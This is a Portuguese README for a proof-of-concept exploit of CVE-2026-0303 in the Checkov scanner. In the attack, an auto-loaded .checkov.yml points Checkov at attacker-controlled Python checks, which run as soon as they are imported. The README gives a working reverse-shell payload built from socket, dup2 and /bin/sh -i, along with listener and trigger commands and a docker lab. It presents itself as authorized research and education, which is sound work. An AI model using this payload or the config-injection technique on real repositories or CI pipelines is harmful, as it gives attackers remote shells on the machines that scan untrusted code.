
Checkov PoC: execução de código arbitrário por meio de configuração carregada automaticamente e verificações Python externas não assinadas.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Severidade: Baixa
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Vulnerabilidade de execução arbitrária de código no Checkov.
Publicado pela Palo Alto Networks em 9 de setembro de 2026.
Versões afetadas: Checkov 3.2.0 até 3.2.531
Versão corrigida: Checkov 3.2.532
Execução arbitrária de código no Checkov através de um arquivo .checkov.yml
carregado automaticamente
-> execução de Python controlado pelo atacante através de uma verificação
externa personalizada não assinada.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
O Checkov suporta verificações externas em Python. Essas verificações são intencionalmente carregadas como módulos Python, o que significa que instruções Python de nível superior são executadas durante a importação do módulo.
Quando o Checkov escaneia um diretório, ele procura automaticamente nesse
diretório por um arquivo de configuração .checkov.yml ou .checkov.yaml; um
arquivo de configuração controlado pelo atacante poderia definir
external-checks-dir para um diretório dentro do repositório escaneado.
Isso cria a seguinte cadeia de execução:
A vítima escaneia um repositório não confiável
->
O Checkov carrega automaticamente o .checkov.yml
->
A configuração define external-checks-dir
->
O Checkov importa um módulo Python controlado pelo atacante
->
O código Python de nível superior é executado com os privilégios do Checkov
O atacante não precisa explorar o parser do Terraform nem fornecer uma política válida do Checkov. A execução de código ocorre quando o Checkov importa o arquivo Python.
Isso é particularmente relevante para pipelines de CI que executam o Checkov automaticamente contra pull requests ou outro conteúdo não confiável de repositórios.
O payload do laboratório conecta do contêiner do Checkov a um listener no host:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modifique o payload em exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Inicie um listener no host:
ncat -lvkp 4444
Dispare o comportamento vulnerável escaneando o diretório controlado pelo atacante:
checkov -d /workspace --framework terraform --skip-download
O Checkov lê automaticamente /workspace/.checkov.yml, descobre o diretório de
verificações externas e importa poc_check.py. O listener deve receber o shell
quando a chamada exploit() em nível de módulo for executada.
Eu forneci um laboratório docker simples que você pode configurar via
docker compose up -d
e conectar ao seu shell via
docker exec -it scan-server /bin/sh
Este repositório contém uma prova de conceito independente para a CVE-2026-0303. A vulnerabilidade foi recriada e testada em um ambiente de laboratório isolado.
Este projeto destina-se exclusivamente a pesquisa de segurança autorizada, educação e testes em ambientes isolados. Não o utilize contra sistemas, redes, repositórios ou dados sem autorização explícita do proprietário.
O autor fornece este projeto como está, sem garantias de qualquer tipo, e não aceita responsabilidade por danos, perda de dados, interrupção de serviço, acesso não autorizado ou uso indevido deste software ou de seus derivados.